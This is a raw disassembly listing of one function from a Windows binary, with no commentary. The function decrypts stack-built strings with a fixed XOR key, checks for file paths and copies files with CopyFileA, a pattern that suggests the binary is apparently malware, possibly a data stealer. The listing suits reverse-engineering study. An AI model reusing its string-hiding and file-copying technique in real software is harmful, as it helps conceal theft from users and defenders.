mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xc88]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x690], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x95
lea eax, [ebp - 0xc88]
cmp dword [ebp - 0xc74], 0xf
push 0
cmova eax, dword [ebp - 0xc88]
push eax
call edi
test eax, eax
je 0x411d25
mov dword [ebp - 0x28], 0xdcf0faf1
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0x96ac6ea3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x240], xmm1
movups xmmword [ebp - 0xe18], xmm0
mov dword [ebp - 0xe08], 0
mov dword [ebp - 0xe04], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4119c0
sub ecx, edx
lea eax, [ebp - 0x240]
push ecx
push eax
lea ecx, [ebp - 0xe18]
call fcn.00403040
mov byte [ebp - 4], 0x96
mov dword [ebp - 0x28], 0xedd084ec
mov dword [ebp - 0x24], 0xf3814a90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6a0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x6a0], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xe18]
mov edx, eax
push ecx
lea ecx, [ebp - 0xc40]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0xe18]
call fcn.00402df0
cmp dword [ebp - 0xc2c], 0xf
lea ecx, [ebp - 0xc40]
cmova ecx, dword [ebp - 0xc40]
call fcn.004e4050
test al, al
je 0x411d07
mov dword [ebp - 0x28], 0xcae3b5f1
lea edx, [ebp - 0xc40]
mov dword [ebp - 0x24], 0x87ae6bbe
sub esp, 0x18
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x28], 0xc3d1205
mov dword [ebp - 0x24], 0xa0df8994
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6b0]
mov dword [ebp - 0x44], ecx
mov ecx, esp
movaps xmm1, xmmword [ebp - 0x50]
xorps xmm1, xmmword [ebp - 0x6b0]
mov dword [ebp - 0x14], esp
push eax
movaps xmmword [ebp - 0x6b0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x99
mov byte [ebp - 4], 0x98
call fcn.004e4120
add esp, 0x18
test al, al
je 0x411d07
mov dword [ebp - 0x28], 0xcae3b5f1
lea edx, [ebp - 0xc88]
mov dword [ebp - 0x24], 0x87ae6bbe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], ecx
mov dword [ebp - 0x28], 0xc3d1205
mov dword [ebp - 0x24], 0xa0df8994
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6c0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6c0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1070]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x6c0], xmm1
call fcn.0041ab20
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x9a
cmp dword [esi + 0x14], 0xf
jbe 0x411c26
mov esi, dword [esi]
mov dword [ebp - 0x28], 0xcae3b5f1
lea edx, [ebp - 0xc40]
mov dword [ebp - 0x24], 0x87ae6bbe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x6cc], ecx
mov dword [ebp - 0x28], 0xc3d1205
mov dword [ebp - 0x24], 0xa0df8994
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6d0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6d0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1058]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x6d0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x9b
cmp dword [eax + 0x14], 0xf
jbe 0x411cd3
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x1058]
call fcn.00402df0
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x1070]
call fcn.00402df0
test esi, esi
je 0x411d07
mov byte [ebp - 0x31], 1
jmp 0x411d16
push ecx
lea ecx, [ebp - 0xc88]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0xc40]
call fcn.00402df0
cmp byte [ebp - 0x31], 0
jne 0x411d3a
push ecx
lea ecx, [ebp - 0x260]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xc88]
call fcn.00402df0
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x750]
call fcn.00402df0
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x148]
call fcn.00402df0
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xc70]
call fcn.00402df0
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0xbe0]
call fcn.00402df0
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0xb98]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x260]
call fcn.00402df0
cmp byte [ebp - 0x78], 0
je 0x412294
mov dword [ebp - 0x28], 0xe7d082f1
mov edx, 0x583d74
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xbc8]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0x9c
lea eax, [ebp - 0xbc8]
cmp dword [ebp - 0xbb4], 0xf
push 0
cmova eax, dword [ebp - 0xbc8]
push eax
call edi
test eax, eax
je 0x412282
mov dword [ebp - 0x28], 0xccf09bf1
lea edx, [ebp - 0xbc8]
mov dword [ebp - 0x24], 0xbd9048bf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x76c], ecx
mov dword [ebp - 0x28], 0xf2a7f56
mov dword [ebp - 0x24], 0xd4bcec96
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], ecx
mov dword [ebp - 0x28], 0x99c738e7
mov dword [ebp - 0x24], 0x1b8ae46f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x75c], ecx
mov dword [ebp - 0x28], 0x23d873d8
mov dword [ebp - 0x24], 0xaff386e6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x758], eax
mov dword [ebp - 0x754], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x99c738e7
mov dword [ebp - 0x24], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xaff386e6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x770]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x770], xmm1
movaps xmm1, xmmword [ebp - 0x760]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x770]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xbb0]
xorps xmm1, xmmword [ebp - 0x50]
push eax
mov byte [ebp - 0x33], 0
movaps xmmword [ebp - 0x760], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x9d
lea eax, [ebp - 0xbb0]
cmp dword [ebp - 0xb9c], 0xf
push 0
cmova eax, dword [ebp - 0xbb0]
push eax
call edi
test eax, eax
je 0x412264
mov dword [ebp - 0x28], 0xccf09bf1
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0xbd9048bf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x28], 0xf2a7f56
mov dword [ebp - 0x24], 0xd4bcec96
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x28], 0xf6b548bb
mov dword [ebp - 0x24], 0x7ee68d09
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x28], 0x23d873ab
mov dword [ebp - 0x24], 0xaff386e6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x99c738e7
mov dword [ebp - 0x24], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x23d873d8
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xaff386e6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x2f0], xmm1
movups xmmword [ebp - 0xde8], xmm0
mov dword [ebp - 0xdd8], 0
mov dword [ebp - 0xdd4], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412100
sub ecx, edx
lea eax, [ebp - 0x300]
push ecx
push eax
lea ecx, [ebp - 0xde8]
call fcn.00403040
mov byte [ebp - 4], 0x9e
mov dword [ebp - 0x28], 0xedd084ec
mov dword [ebp - 0x24], 0xf3814a90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x2d0], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xde8]
mov edx, eax
push ecx
lea ecx, [ebp - 0xe00]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0xde8]
call fcn.00402df0
cmp dword [ebp - 0xdec], 0xf
lea ecx, [ebp - 0xe00]
cmova ecx, dword [ebp - 0xe00]
call fcn.004e4050
test al, al
je 0x412240
sub esp, 0x18
lea eax, [ebp - 0xbb0]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xa1
sub esp, 0x18
lea eax, [ebp - 0xe00]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xa2
mov byte [ebp - 4], 0xa0
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x412240
mov byte [ebp - 0x33], 1
jmp 0x41224f
push ecx
lea ecx, [ebp - 0xbb0]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0xe00]
call fcn.00402df0
cmp byte [ebp - 0x33], 0
jne 0x412273
push ecx
lea ecx, [ebp - 0xbc8]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0xbb0]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc8]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00438c60
call fcn.00402c60
int3